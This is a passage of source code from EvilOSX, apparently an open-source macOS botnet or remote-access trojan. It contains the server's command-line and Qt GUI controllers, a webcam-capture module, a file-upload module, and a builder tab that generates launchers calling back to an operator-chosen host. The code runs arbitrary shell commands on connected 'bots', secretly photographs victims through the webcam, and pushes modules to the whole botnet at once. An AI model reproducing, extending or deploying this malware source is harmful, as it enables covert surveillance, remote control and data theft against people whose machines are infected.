16 | "References": [],
17 | "Stoppable": False
18 | }
19 |
20 | def get_setup_messages(self):
21 | return [
22 | "Path to the local file to upload: ",
23 | "Remote output directory (Leave empty for /tmp): ",
24 | "New file name (Leave empty to skip): "
25 | ]
26 |
27 | def setup(self, set_options):
28 | local_file = path.expanduser(set_options[0])
29 | output_dir = set_options[1]
30 | output_name = set_options[2]
31 |
32 | if not output_dir:
33 | output_dir = "/var/tmp"
34 | if not output_name:
35 | output_name = path.basename(local_file)
36 |
37 | if not path.exists(local_file):
38 | self._view.display_error("Failed to find local file: {}".format(local_file), "attention")
39 | return False, None
40 | else:
41 | download_path = random_string(16)
42 |
43 | self._model.add_upload_file(download_path, local_file)
44 |
45 | self._view.output("Started hosting the file at: /{}".format(download_path))
46 | self._view.output("This link will automatically expire after 60 seconds.")
47 |
48 | cleanup_thread = Thread(target=self._cleanup_thread, args=(download_path,))
49 | cleanup_thread.daemon = True
50 | cleanup_thread.start()
51 |
52 | return True, {
53 | "download_path": download_path,
54 | "output_dir": output_dir,
55 | "output_name": output_name
56 | }
57 |
58 | def _cleanup_thread(self, url_path):
59 | sleep(60 * 1)
60 |
61 | self._model.remove_upload_file(url_path)
62 | self._view.output_separator()
63 | self._view.output("Upload link expired", "info")
64 |
--------------------------------------------------------------------------------
/server/modules/server/webcam.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from base64 import b64decode
6 | from os import mkdir
7 |
8 | from server.modules.helper import *
9 |
10 |
11 | class Module(ModuleABC):
12 | def get_info(self):
13 | return {
14 | "Author:": ["Marten4n6"],
15 | "Description": "Take a picture using the bot's webcam.",
16 | "References": [
17 | "https://github.com/rharder/imagesnap"
18 | ],
19 | "Stoppable": False
20 | }
21 |
22 | def get_setup_messages(self):
23 | return [
24 | "Local output name (Leave empty for ): "
25 | ]
26 |
27 | def setup(self, set_options):
28 | should_continue = self._view.should_continue([
29 | "A green LED will show next to the bot's camera (for about a second).",
30 | "This module also touches the disk."
31 | ])
32 |
33 | if should_continue:
34 | output_name = set_options[0]
35 |
36 | if not output_name:
37 | output_name = random_string(8)
38 |
39 | return True, {
40 | "response_options": {
41 | "output_name": output_name
42 | }
43 | }
44 | else:
45 | return False, None
46 |
47 | def process_response(self, response, response_options):
48 | output_name = "{}.png".format(response_options["output_name"])
49 | output_file = path.join(OUTPUT_DIRECTORY, output_name)
50 |
51 | str_response = response.decode()
52 |
53 | if not path.isdir(OUTPUT_DIRECTORY):
54 | mkdir(OUTPUT_DIRECTORY)
55 |
56 | if "Error executing" in str_response:
57 | self._view.output(str_response)
58 | else:
59 | with open(output_file, "wb") as open_file:
60 | open_file.write(b64decode(response))
61 |
62 | self._view.output_separator()
63 | self._view.output("Webcam picture saved to: {}".format(path.realpath(output_file)), "info")
64 |
--------------------------------------------------------------------------------
/server/version.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """Keeps track of the current server version.
3 |
4 | See https://semver.org
5 | """
6 | __author__ = "Marten4n6"
7 | __license__ = "GPLv3"
8 |
9 | VERSION = "7.2.1"
10 |
--------------------------------------------------------------------------------
/server/view/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/server/view/__init__.py
--------------------------------------------------------------------------------
/server/view/cli.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from threading import Lock, current_thread
6 | from threading import Thread
7 | from time import strftime, localtime
8 |
9 | import urwid
10 | from queue import Queue
11 |
12 | from bot import loaders
13 | from server import modules
14 | from server.model import Command, CommandType
15 | from server.modules.helper import ModuleViewABC
16 | from server.version import VERSION
17 | from server.view.helper import *
18 |
19 |
20 | class _OutputView:
21 | """This class shows the command output view."""
22 |
23 | def __init__(self, max_size=69):
24 | self._max_size = max_size
25 |
26 | self._output_view = urwid.ListBox(urwid.SimpleListWalker([]))
27 | self._lock = Lock()
28 |
29 | self._main_loop = None
30 |
31 | def get(self):
32 | """
33 | :rtype: urwid.ListBox
34 | """
35 | return self._output_view
36 |
37 | def set_main_loop(self, main_loop):
38 | self._main_loop = main_loop
39 |
40 | def add(self, line, prefix=""):
41 | """
42 | :type line: str
43 | :type prefix: str
44 | """
45 | with self._lock:
46 | was_on_end = self._output_view.get_focus()[1] == len(self._output_view.body) - 1
47 |
48 | if len(self._output_view.body) > self._max_size:
49 | # Size limit reached, delete the first line.
50 | del self._output_view.body[0]
51 |
52 | if prefix == "info":
53 | self._output_view.body.append(urwid.Text([('normal', "["), ('info', "I"), ("normal", "] " + line)]))
54 | elif prefix == "input":
55 | self._output_view.body.append(urwid.Text([('normal', "["), ('reversed', "?"), ("normal", "] " + line)]))
56 | elif prefix == "attention":
57 | self._output_view.body.append(
58 | urwid.Text([('normal', "["), ('attention', "!"), ("normal", "] " + line)]))
59 | else:
60 | self._output_view.body.append(urwid.Text(line))
61 |
62 | if was_on_end:
63 | self._output_view.set_focus(len(self._output_view.body) - 1, "above")
64 |
65 | self._async_reload()
66 |
67 | def clear(self):
68 | with self._lock:
69 | del self._output_view.body[:]
70 | self._async_reload()
71 |
72 | def _async_reload(self):
73 | # Required if this method is called from a different thread asynchronously.
74 | if self._main_loop and self._main_loop != current_thread():
75 | self._main_loop.draw_screen()
76 |
77 |
78 | class _CommandInput(urwid.Pile):
79 | """This class shows the command input view."""
80 | signals = ["line_entered"]
81 |
82 | def __init__(self):
83 | self._header = urwid.Text("Command: ")
84 | self._edit_box = urwid.Edit()
85 | self._output_list = urwid.ListBox(urwid.SimpleFocusListWalker([]))
86 | self._output_layout = urwid.BoxAdapter(self._output_list, 0) # Dynamically change size.
87 |
88 | self._lock = Lock()
89 | self._prompt_mode = False
90 | self._prompt_queue = Queue()
91 |
92 | self._main_loop = None
93 |
94 | urwid.Pile.__init__(self, [
95 | urwid.AttrWrap(self._header, "reversed"),
96 | self._output_layout,
97 | self._edit_box
98 | ])
99 |
100 | self.focus_item = self._edit_box
101 |
102 | def set_main_loop(self, main_loop):
103 | self._main_loop = main_loop
104 |
105 | def set_header_text(self, text):
106 | """
107 | :type text: str
108 | """
109 | with self._lock:
110 | self._header.set_text(text)
111 | self._async_reload()
112 |
113 | def add(self, line, prefix=""):
114 | """"
115 | :type line: str
116 | :type prefix: str
117 | """
118 | with self._lock:
119 | # Set the height of the output list so the line is actually visible.
120 | self._output_layout.height = len(self._output_list.body) + 1
121 |
122 | if prefix == "info":
123 | self._output_list.body.append(urwid.Text([("normal", "["), ("info", "I"), ("normal", "] " + line)]))
124 | elif prefix == "input":
125 | self._output_list.body.append(urwid.Text("[?] " + line))
126 | elif prefix == "attention":
127 | self._output_list.body.append(
128 | urwid.Text([("normal", "["), ("attention", "!"), ("normal", "] " + line)]))
129 | else:
130 | self._output_list.body.append(urwid.Text(line))
131 |
132 | self._async_reload()
133 |
134 | def clear(self):
135 | with self._lock:
136 | del self._output_list.body[:]
137 | self._output_layout.height = 0
138 | self._async_reload()
139 |
140 | def get_prompt_input(self):
141 | """
142 | :rtype: str
143 | """
144 | self._prompt_mode = True
145 |
146 | # Wait for user input.
147 | return self._prompt_queue.get()
148 |
149 | def keypress(self, size, key):
150 | if key == "enter":
151 | command = self._edit_box.edit_text
152 |
153 | if self._prompt_mode:
154 | # We're in prompt mode, return the value
155 | # to the queue which unblocks the prompt method.
156 | self._prompt_queue.put(command)
157 | self._prompt_mode = False
158 | self.clear()
159 | else:
160 | # Normal mode, call listeners.
161 | urwid.emit_signal(self, "line_entered", command)
162 |
163 | self._edit_box.edit_text = ""
164 | else:
165 | urwid.Edit.keypress(self._edit_box, size, key)
166 |
167 | def _async_reload(self):
168 | # Required if this method is called from a different thread asynchronously.
169 | if self._main_loop and self._main_loop != current_thread():
170 | self._main_loop.draw_screen()
171 |
172 |
173 | class _ModuleView(ModuleViewABC):
174 | """Class which allows modules to interact with the view."""
175 |
176 | def __init__(self, view):
177 | self._view = view
178 |
179 | def display_error(self, message):
180 | """
181 | :type message: str
182 | """
183 | self._view.output(message, "attention")
184 |
185 | def display_info(self, message):
186 | """
187 | :type message: str
188 | """
189 | self._view.output(message, "info")
190 |
191 | def should_continue(self, messages):
192 | """
193 | :type messages: list[str]
194 | :rtype: bool
195 | """
196 | lines = []
197 |
198 | for message in messages:
199 | lines.append((message, ""))
200 |
201 | confirm = self._view.prompt("Are you sure you want to continue? [Y/n]", lines).lower()
202 |
203 | if not confirm or confirm == "y":
204 | return True
205 | else:
206 | return False
207 |
208 | def output(self, line, prefix=""):
209 | """
210 | :type line: str
211 | :type prefix: str
212 | """
213 | self._view.output(line, prefix)
214 |
215 |
216 | class ViewCLI(ViewABC):
217 | """This class interacts with the user via a command line interface.
218 |
219 | The controller will register all listeners (set_on_*) for this view.
220 | """
221 |
222 | def __init__(self, model, server_port):
223 | self._model = model
224 | self._server_port = server_port
225 |
226 | self._PALETTE = [
227 | ("reversed", urwid.BLACK, urwid.LIGHT_GRAY),
228 | ("normal", urwid.LIGHT_GRAY, urwid.BLACK),
229 | ("info", urwid.LIGHT_BLUE, urwid.BLACK),
230 | ("attention", urwid.LIGHT_RED, urwid.BLACK)
231 | ]
232 |
233 | self._header = urwid.Text("")
234 | self._output_view = _OutputView()
235 | self._command_input = _CommandInput()
236 |
237 | self._main_loop = None
238 | self._connected_bot = None
239 |
240 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: 0".format(VERSION, server_port))
241 | self.output("Server started, waiting for connections...", "info")
242 | self.output("Type \"help\" to show the help menu.", "info")
243 |
244 | # http://urwid.org/reference/signals.html
245 | urwid.connect_signal(self._command_input, "line_entered", self._process_command)
246 |
247 | # Initialize the frame.
248 | self._frame = urwid.Frame(
249 | header=urwid.AttrWrap(self._header, "reversed"),
250 | body=self._output_view.get(),
251 | footer=self._command_input
252 | )
253 |
254 | self._frame.set_focus_path(["footer", 2])
255 |
256 | def output(self, line, prefix=""):
257 | """
258 | :type line: str
259 | :type prefix: str
260 | """
261 | self._output_view.add(line, prefix)
262 |
263 | def on_response(self, response):
264 | """
265 | :type response: str
266 | """
267 | self.output_separator()
268 |
269 | for line in response.splitlines():
270 | self.output(line)
271 |
272 | def on_bot_added(self, bot):
273 | """
274 | :type bot: Bot
275 | """
276 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: {}".format(
277 | VERSION, self._server_port, self._model.get_bot_amount()
278 | ))
279 |
280 | def on_bot_removed(self, bot):
281 | """
282 | :type bot: Bot
283 | """
284 | self.set_window_title("EvilOSX v{} | Port: {} | Available bots: {}".format(
285 | VERSION, self._server_port, self._model.get_bot_amount()
286 | ))
287 |
288 | def on_bot_path_change(self, bot):
289 | """
290 | :type bot: Bot
291 | """
292 | self.set_footer_text("Command ({}@{}, {}): ".format(
293 | bot.username, bot.hostname, bot.local_path
294 | ))
295 |
296 | def prompt(self, prompt_text, lines=None):
297 | """
298 | :type prompt_text: str
299 | :type lines: list or None
300 | :rtype: str
301 | """
302 | if lines:
303 | for line in lines:
304 | self._command_input.add(*line)
305 | self._command_input.add(prompt_text, "input")
306 |
307 | return self._command_input.get_prompt_input()
308 |
309 | def _process_command(self, command):
310 | """
311 | :type command: str
312 | """
313 | if command.strip() == "":
314 | return
315 |
316 | self.output_separator()
317 |
318 | if command == "help":
319 | self.output("Commands other than the ones listed below will be run on the connected "
320 | "bot as a shell command.", "attention")
321 | self.output("help - Show this help menu.")
322 | self.output("bots - Show the amount of available bots.")
323 | self.output("connect - Start interacting with the bot (required before using \"use\").")
324 | self.output("modules - Show a list of available modules.")
325 | self.output("use - Run the module on the connected bot.")
326 | self.output("stop - Ask the module to stop executing.")
327 | self.output("useall - Set the module which will be run on every bot.")
328 | self.output("stopall - Clear the globally set module.")
329 | self.output("clear - Clear the screen.")
330 | self.output("exit/q/quit - Close the server and exit.")
331 | elif command.startswith("bots"):
332 | if command == "bots":
333 | bots = self._model.get_bots(limit=10)
334 |
335 | if not bots:
336 | self.output("There are no available bots.", "attention")
337 | else:
338 | self.output("No page specified, showing the first page.", "info")
339 | self.output("Use \"bots \" to see a different page (each page is 10 results).", "info")
340 |
341 | for i, bot in enumerate(self._model.get_bots(limit=10)):
342 | self.output("{} = \"{}@{}\" (last seen: {})".format(
343 | str(i), bot.username, bot.hostname,
344 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online))
345 | ))
346 | else:
347 | try:
348 | # Show the bots of the given "page".
349 | page_number = int(command.split(" ")[1])
350 |
351 | if page_number <= 0:
352 | page_number = 1
353 |
354 | skip_amount = (page_number * 10) - 10
355 | bots = self._model.get_bots(limit=10, skip_amount=skip_amount)
356 |
357 | if not bots:
358 | self.output("There are no available bots on this page.", "attention")
359 | else:
360 | self.output("Showing bots on page {}.".format(page_number), "info")
361 |
362 | for i, bot in enumerate(bots):
363 | self.output("{} = \"{}@{}\" (last seen: {})".format(
364 | str(i), bot.username, bot.hostname,
365 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online))
366 | ))
367 | except ValueError:
368 | self.output("Invalid page number.", "attention")
369 | elif command.startswith("connect"):
370 | try:
371 | specified_id = int(command.split(" ")[1])
372 | self._connected_bot = self._model.get_bots()[specified_id]
373 |
374 | self.output("Connected to \"%s@%s\", ready to send commands." % (
375 | self._connected_bot.username, self._connected_bot.hostname
376 | ), "info")
377 | self.set_footer_text("Command ({}@{}, {}): ".format(
378 | self._connected_bot.username, self._connected_bot.hostname, self._connected_bot.local_path
379 | ))
380 | except (IndexError, ValueError):
381 | self.output("Invalid bot ID (see \"bots\").", "attention")
382 | self.output("Usage: connect ", "attention")
383 | elif command == "modules":
384 | self.output("Type \"use \" to use a module.", "info")
385 |
386 | for module_name in modules.get_names():
387 | try:
388 | module = modules.get_module(module_name)
389 |
390 | if not module:
391 | module_view = _ModuleView(self)
392 | module = modules.load_module(module_name, module_view, self._model)
393 |
394 | self.output("{:16} - {}".format(module_name, module.get_info()["Description"]))
395 | except AttributeError as ex:
396 | self.output(str(ex), "attention")
397 | elif command.startswith("useall"):
398 | if command == "useall":
399 | self.output("Usage: useall ", "attention")
400 | self.output("Type \"modules\" to get a list of available modules.", "attention")
401 | else:
402 | module_name = command.split(" ")[1]
403 |
404 | module_thread = Thread(target=self._run_module, args=(module_name, True))
405 | module_thread.daemon = True
406 | module_thread.start()
407 | elif command == "clear":
408 | self.clear()
409 | elif command in ["exit", "q", "quit"]:
410 | raise urwid.ExitMainLoop()
411 | else:
412 | # Commands that require a connected bot.
413 | if not self._connected_bot:
414 | self.output("You must be connected to a bot to perform this action.", "attention")
415 | self.output("Type \"connect \" to connect to a bot.", "attention")
416 | else:
417 | if command.startswith("use"):
418 | if command == "use":
419 | self.output("Usage: use ", "attention")
420 | self.output("Type \"modules\" to get a list of available modules.", "attention")
421 | else:
422 | module_name = command.split(" ")[1]
423 |
424 | module_thread = Thread(target=self._run_module, args=(module_name,))
425 | module_thread.daemon = True
426 | module_thread.start()
427 | else:
428 | # Regular shell command.
429 | self.output("Executing command: {}".format(command), "info")
430 | self._model.add_command(self._connected_bot.uid, Command(CommandType.SHELL, command.encode()))
431 |
432 | def _run_module(self, module_name, mass_execute=False):
433 | """Setup then run the module, required because otherwise calls to prompt block the main thread."""
434 | try:
435 | module = modules.get_module(module_name)
436 | code = ("", b"")
437 |
438 | if not module:
439 | module_view = _ModuleView(self)
440 | module = modules.load_module(module_name, module_view, self._model)
441 |
442 | set_options = []
443 |
444 | for setup_message in module.get_setup_messages():
445 | set_options.append(self.prompt(setup_message))
446 |
447 | successful, options = module.setup(set_options)
448 |
449 | if not successful:
450 | self.output("Module setup failed or cancelled.", "attention")
451 | else:
452 | if not options:
453 | options = {}
454 |
455 | options["module_name"] = module_name
456 |
457 | if mass_execute:
458 | bots = self._model.get_bots()
459 |
460 | for bot in bots:
461 | if module_name == "remove_bot":
462 | if code[0] != bot.loader_name:
463 | code = (bot.loader_name, loaders.get_remove_code(bot.loader_name))
464 | elif module_name == "update_bot":
465 | if code[0] != bot.loader_name:
466 | code = (bot.loader_name, loaders.get_update_code(bot.loader_name))
467 | else:
468 | if not code[0]:
469 | code = ("", modules.get_code(module_name))
470 |
471 | self._model.add_command(bot.uid, Command(
472 | CommandType.MODULE, code[1], options
473 | ))
474 |
475 | self.output("Module added to the queue of {} bot(s).".format(len(bots)), "info")
476 | else:
477 | if module_name == "remove_bot":
478 | code = loaders.get_remove_code(self._connected_bot.loader_name)
479 | elif module_name == "update_bot":
480 | code = loaders.get_update_code(self._connected_bot.loader_name)
481 | else:
482 | code = modules.get_code(module_name)
483 |
484 | self._model.add_command(self._connected_bot.uid, Command(
485 | CommandType.MODULE, code, options
486 | ))
487 |
488 | self.output("Module added to the queue of \"{}@{}\".".format(
489 | self._connected_bot.username, self._connected_bot.hostname
490 | ), "info")
491 | except ImportError:
492 | self.output("Failed to find module: {}".format(module_name), "attention")
493 | self.output("Type \"modules\" to get a list of available modules.", "attention")
494 |
495 | def set_window_title(self, text):
496 | """
497 | :type text: str
498 | """
499 | self._header.set_text(text)
500 | self._async_reload()
501 |
502 | def set_footer_text(self, text):
503 | """
504 | :type text: str
505 | """
506 | self._command_input.set_header_text(text)
507 |
508 | def clear(self):
509 | self._output_view.clear()
510 |
511 | def start(self):
512 | main_loop = urwid.MainLoop(self._frame, self._PALETTE, handle_mouse=True)
513 |
514 | self._set_main_loop(main_loop)
515 | self._output_view.set_main_loop(main_loop)
516 | self._command_input.set_main_loop(main_loop)
517 | main_loop.run()
518 |
519 | def _set_main_loop(self, main_loop):
520 | self._main_loop = main_loop
521 |
522 | def _async_reload(self):
523 | # Required if this method is called from a different thread asynchronously.
524 | if self._main_loop and self._main_loop != current_thread():
525 | self._main_loop.draw_screen()
526 |
--------------------------------------------------------------------------------
/server/view/gui.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from os import path
6 | from time import strftime, localtime
7 | from uuid import uuid4
8 |
9 | from PySide2.QtCore import Qt
10 | from PySide2.QtGui import QPalette, QColor, QPixmap
11 | from PySide2.QtWidgets import QApplication, QMainWindow, QTabWidget, QTableWidget, QWidget, \
12 | QLabel, QHBoxLayout, QGridLayout, QSplitter, QAbstractItemView, QHeaderView, QTableWidgetItem, \
13 | QComboBox, QLineEdit, QPushButton, QVBoxLayout, QMessageBox, QTextEdit
14 |
15 | from bot import launchers, loaders
16 | from server import modules
17 | from server.model import Command, CommandType
18 | from server.modules.helper import ModuleViewABC
19 | from server.version import VERSION
20 | from server.view.helper import *
21 |
22 |
23 | class _BuilderTab(QWidget):
24 | """Handles the creation of launchers."""
25 |
26 | def __init__(self):
27 | super(_BuilderTab, self).__init__()
28 |
29 | self._layout = QVBoxLayout()
30 |
31 | host_label = QLabel("Server host (where EvilOSX will connect to):")
32 | self._host_field = QLineEdit()
33 |
34 | self._layout.addWidget(host_label)
35 | self._layout.addWidget(self._host_field)
36 |
37 | port_label = QLabel("Server port:")
38 | self._port_field = QLineEdit()
39 |
40 | self._layout.addWidget(port_label)
41 | self._layout.addWidget(self._port_field)
42 |
43 | live_label = QLabel("Where should EvilOSX live? (Leave empty for ~/Library/Containers/.): ")
44 | self._live_field = QLineEdit()
45 |
46 | self._layout.addWidget(live_label)
47 | self._layout.addWidget(self._live_field)
48 |
49 | launcher_label = QLabel("Launcher name:")
50 | self._launcher_combobox = QComboBox()
51 |
52 | for launcher_name in launchers.get_names():
53 | self._launcher_combobox.addItem(launcher_name)
54 |
55 | self._layout.addWidget(launcher_label)
56 | self._layout.addWidget(self._launcher_combobox)
57 |
58 | loader_label = QLabel("Loader name:")
59 | loader_combobox = QComboBox()
60 | self._loader_layout = QVBoxLayout()
61 |
62 | for loader_name in loaders.get_names():
63 | loader_combobox.addItem(loader_name)
64 |
65 | self._layout.addWidget(loader_label)
66 | self._layout.addWidget(loader_combobox)
67 | loader_combobox.currentTextChanged.connect(self._set_on_loader_change)
68 |
69 | # Dynamically loaded loader layout
70 | self._layout.addLayout(self._loader_layout)
71 | self._set_on_loader_change(loader_combobox.currentText())
72 |
73 | self._layout.setContentsMargins(10, 10, 10, 0)
74 | self._layout.setAlignment(Qt.AlignTop)
75 | self.setLayout(self._layout)
76 |
77 | def _set_on_loader_change(self, new_text):
78 | """Handles the loader combobox change event.
79 |
80 | :type new_text: str
81 | """
82 | while self._loader_layout.count():
83 | child = self._loader_layout.takeAt(0)
84 |
85 | if child.widget():
86 | child.widget().deleteLater()
87 |
88 | input_fields = []
89 |
90 | for message in loaders.get_option_messages(new_text):
91 | input_field = QLineEdit()
92 |
93 | self._loader_layout.addWidget(QLabel(message))
94 | self._loader_layout.addWidget(input_field)
95 | input_fields.append(input_field)
96 |
97 | create_button = QPushButton("Create launcher")
98 | create_button.setMaximumWidth(250)
99 | create_button.setMinimumHeight(30)
100 | create_button.pressed.connect(lambda: self._on_create_launcher(
101 | self._host_field.text(), self._port_field.text(), self._live_field.text(),
102 | new_text, self._launcher_combobox.currentText(), input_fields
103 | ))
104 |
105 | self._loader_layout.addWidget(QLabel(""))
106 | self._loader_layout.addWidget(create_button)
107 |
108 | @staticmethod
109 | def display_error(text):
110 | """Displays an error message to the user.
111 |
112 | :type text: str
113 | """
114 | message = QMessageBox()
115 |
116 | message.setIcon(QMessageBox.Critical)
117 | message.setWindowTitle("Error")
118 | message.setText(text)
119 | message.setStandardButtons(QMessageBox.Ok)
120 | message.exec_()
121 |
122 | @staticmethod
123 | def display_info(text):
124 | """
125 | :type text: str
126 | """
127 | message = QMessageBox()
128 |
129 | message.setIcon(QMessageBox.Information)
130 | message.setWindowTitle("Information")
131 | message.setText(text)
132 | message.setStandardButtons(QMessageBox.Ok)
133 | message.exec_()
134 |
135 | def _on_create_launcher(self, server_host, server_port, program_directory,
136 | loader_name, launcher_name, input_fields):
137 | """Creates the launcher and outputs it to the builds directory.
138 |
139 | :type server_host: str
140 | :type server_port: int
141 | :type program_directory: str
142 | :type loader_name: str
143 | :type launcher_name: str
144 | :type input_fields: list
145 | """
146 | if not self._host_field.text():
147 | self.display_error("Invalid host specified.")
148 | elif not str(self._port_field.text()).isdigit():
149 | self.display_error("Invalid port specified.")
150 | else:
151 | set_options = []
152 |
153 | for field in input_fields:
154 | set_options.append(field.text())
155 |
156 | loader_options = loaders.get_options(loader_name, set_options)
157 | loader_options["program_directory"] = program_directory
158 |
159 | stager = launchers.create_stager(server_host, server_port, loader_options)
160 |
161 | launcher_extension, launcher = launchers.generate(launcher_name, stager)
162 | launcher_path = path.realpath(path.join(
163 | path.dirname(__file__), path.pardir, path.pardir, "data", "builds", "Launcher-{}.{}".format(
164 | str(uuid4())[:6], launcher_extension
165 | )))
166 |
167 | with open(launcher_path, "w") as output_file:
168 | output_file.write(launcher)
169 |
170 | self.display_info("Launcher written to: \n{}".format(launcher_path))
171 |
172 |
173 | class _BroadcastTab(QWidget):
174 | """Tab used to interact with the whole botnet at once."""
175 |
176 | def __init__(self, model):
177 | super(_BroadcastTab, self).__init__()
178 |
179 | self._model = model
180 |
181 | layout = QVBoxLayout()
182 | label = QLabel("This tab is not yet implemented.")
183 |
184 | label.setAlignment(Qt.AlignTop)
185 | layout.addWidget(label)
186 |
187 | self.setLayout(layout)
188 |
189 |
190 | class _ResponsesTab(QTabWidget):
191 | """Tab which shows all module and shell responses."""
192 |
193 | def __init__(self):
194 | super(_ResponsesTab, self).__init__()
195 |
196 | layout = QVBoxLayout()
197 | self._output_field = QTextEdit()
198 |
199 | self._output_field.setTextInteractionFlags(Qt.NoTextInteraction)
200 | self._output_field.setPlaceholderText("Please wait for responses...")
201 |
202 | layout.addWidget(self._output_field)
203 | self.setLayout(layout)
204 |
205 | def clear(self):
206 | """Clears all output."""
207 | self._output_field.clear()
208 |
209 | def output(self, text):
210 | """Adds a line to the output field.
211 |
212 | :type text: str
213 | """
214 | self._output_field.append(text)
215 |
216 |
217 | class ModuleView(ModuleViewABC):
218 | """Used by modules to interact with this GUI."""
219 |
220 | def __init__(self, responses_tab):
221 | """
222 | :type responses_tab: _ResponsesTab
223 | """
224 | self._responses_tab = responses_tab
225 |
226 | def display_error(self, text):
227 | """
228 | :type text: str
229 | """
230 | message_box = QMessageBox()
231 |
232 | message_box.setIcon(QMessageBox.Critical)
233 | message_box.setWindowTitle("Error")
234 | message_box.setText(text)
235 | message_box.setStandardButtons(QMessageBox.Ok)
236 | message_box.exec_()
237 |
238 | def display_info(self, text):
239 | """
240 | :type text: str
241 | """
242 | message_box = QMessageBox()
243 |
244 | message_box.setIcon(QMessageBox.Information)
245 | message_box.setWindowTitle("Information")
246 | message_box.setText(text)
247 | message_box.setStandardButtons(QMessageBox.Ok)
248 | message_box.exec_()
249 |
250 | def should_continue(self, messages):
251 | """
252 | :type messages: list[str]
253 | :rtype: bool
254 | """
255 | messages.append("\nAre you sure you want to continue?")
256 |
257 | confirm = QMessageBox.question(self._responses_tab, "Confirmation",
258 | "\n".join(messages), QMessageBox.Yes, QMessageBox.No)
259 |
260 | if confirm == QMessageBox.Yes:
261 | return True
262 | else:
263 | return False
264 |
265 | def output(self, line, prefix=""):
266 | """
267 | :type line: str
268 | :type prefix: str
269 | """
270 | self._responses_tab.output(line)
271 |
272 |
273 | class _ExecuteTab(QTabWidget):
274 | """Tab used to execute modules or shell commands on the selected bot."""
275 |
276 | def __init__(self, responses_tab, model):
277 | """
278 | :type responses_tab: _ResponsesTab
279 | """
280 | super(_ExecuteTab, self).__init__()
281 |
282 | self._model = model
283 | self._current_layout = None
284 | self._current_bot = None
285 |
286 | self._layout = QGridLayout()
287 | self._sub_layout = QVBoxLayout()
288 | self._module_view = ModuleView(responses_tab)
289 |
290 | self._layout.setAlignment(Qt.AlignTop)
291 | self.setLayout(self._layout)
292 | self.set_empty_layout()
293 |
294 | def set_current_bot(self, bot):
295 | """Sets the connected bot this tab will interact with.
296 |
297 | :type bot: Bot
298 | """
299 | self._current_bot = bot
300 |
301 | def _clear_layout(self):
302 | while self._layout.count():
303 | child = self._layout.takeAt(0)
304 |
305 | if child.widget():
306 | child.widget().deleteLater()
307 | while self._sub_layout.count():
308 | child = self._sub_layout.takeAt(0)
309 |
310 | if child.widget():
311 | child.widget().deleteLater()
312 |
313 | def set_empty_layout(self):
314 | """Default layout shown when the user has not yet selected a row."""
315 | self._current_layout = "Empty"
316 | self._clear_layout()
317 |
318 | self._layout.addWidget(QLabel("Please select a bot in the table above."), 0, 0)
319 |
320 | def set_module_layout(self, module_name="screenshot"):
321 | """Sets the layout which can execute modules.
322 |
323 | :type module_name: str
324 | """
325 | self._current_layout = "Module"
326 | self._clear_layout()
327 |
328 | command_type_label = QLabel("Command type: ")
329 | command_type_combobox = QComboBox()
330 |
331 | command_type_combobox.addItem("Module")
332 | command_type_combobox.addItem("Shell")
333 |
334 | module_label = QLabel("Module name: ")
335 | module_combobox = QComboBox()
336 |
337 | for module_name in modules.get_names():
338 | module_combobox.addItem(module_name)
339 |
340 | module_combobox.currentTextChanged.connect(self._on_module_change)
341 | command_type_combobox.currentTextChanged.connect(self._on_command_type_change)
342 |
343 | self._layout.setColumnStretch(1, 1)
344 | self._layout.addWidget(command_type_label, 0, 0)
345 | self._layout.addWidget(command_type_combobox, 0, 1)
346 | self._layout.addWidget(module_label, 1, 0)
347 | self._layout.addWidget(module_combobox, 1, 1)
348 |
349 | # Module layout
350 | cached_module = modules.get_module(module_name)
351 |
352 | if not cached_module:
353 | cached_module = modules.load_module(module_name, self._module_view, self._model)
354 |
355 | input_fields = []
356 |
357 | for option_name in cached_module.get_setup_messages():
358 | input_field = QLineEdit()
359 |
360 | self._sub_layout.addWidget(QLabel(option_name))
361 | self._sub_layout.addWidget(input_field)
362 | input_fields.append(input_field)
363 |
364 | run_button = QPushButton("Run")
365 | run_button.setMaximumWidth(250)
366 | run_button.setMinimumHeight(25)
367 |
368 | run_button.pressed.connect(lambda: self._on_module_run(module_combobox.currentText(), input_fields))
369 |
370 | self._sub_layout.addWidget(QLabel(""))
371 | self._sub_layout.addWidget(run_button)
372 | self._sub_layout.setContentsMargins(0, 15, 0, 0)
373 | self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2)
374 |
375 | self._on_module_change(module_combobox.currentText())
376 |
377 | def set_shell_layout(self):
378 | """Sets the layout which can execute shell commands."""
379 | self._current_layout = "Shell"
380 | self._clear_layout()
381 |
382 | command_type_label = QLabel("Command type: ")
383 | command_type_combobox = QComboBox()
384 |
385 | command_type_combobox.addItem("Shell")
386 | command_type_combobox.addItem("Module")
387 |
388 | command_label = QLabel("Command:")
389 | command_input = QLineEdit()
390 |
391 | run_button = QPushButton("Run")
392 | run_button.setMaximumWidth(250)
393 | run_button.setMinimumHeight(25)
394 |
395 | command_type_combobox.currentTextChanged.connect(self._on_command_type_change)
396 | run_button.pressed.connect(lambda: self._on_command_run(command_input))
397 |
398 | self._layout.addWidget(command_type_label, 0, 0)
399 | self._layout.addWidget(command_type_combobox, 0, 1)
400 | self._layout.addWidget(command_label, 1, 0)
401 | self._layout.addWidget(command_input, 1, 1)
402 |
403 | self._sub_layout.addWidget(QLabel(""))
404 | self._sub_layout.addWidget(run_button)
405 | self._sub_layout.setContentsMargins(0, 15, 0, 0)
406 | self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2)
407 |
408 | def _on_command_type_change(self, text):
409 | """Handles the command type combobox change event.
410 |
411 | :type text: str
412 | """
413 | if text == "Module":
414 | self.set_module_layout()
415 | else:
416 | self.set_shell_layout()
417 |
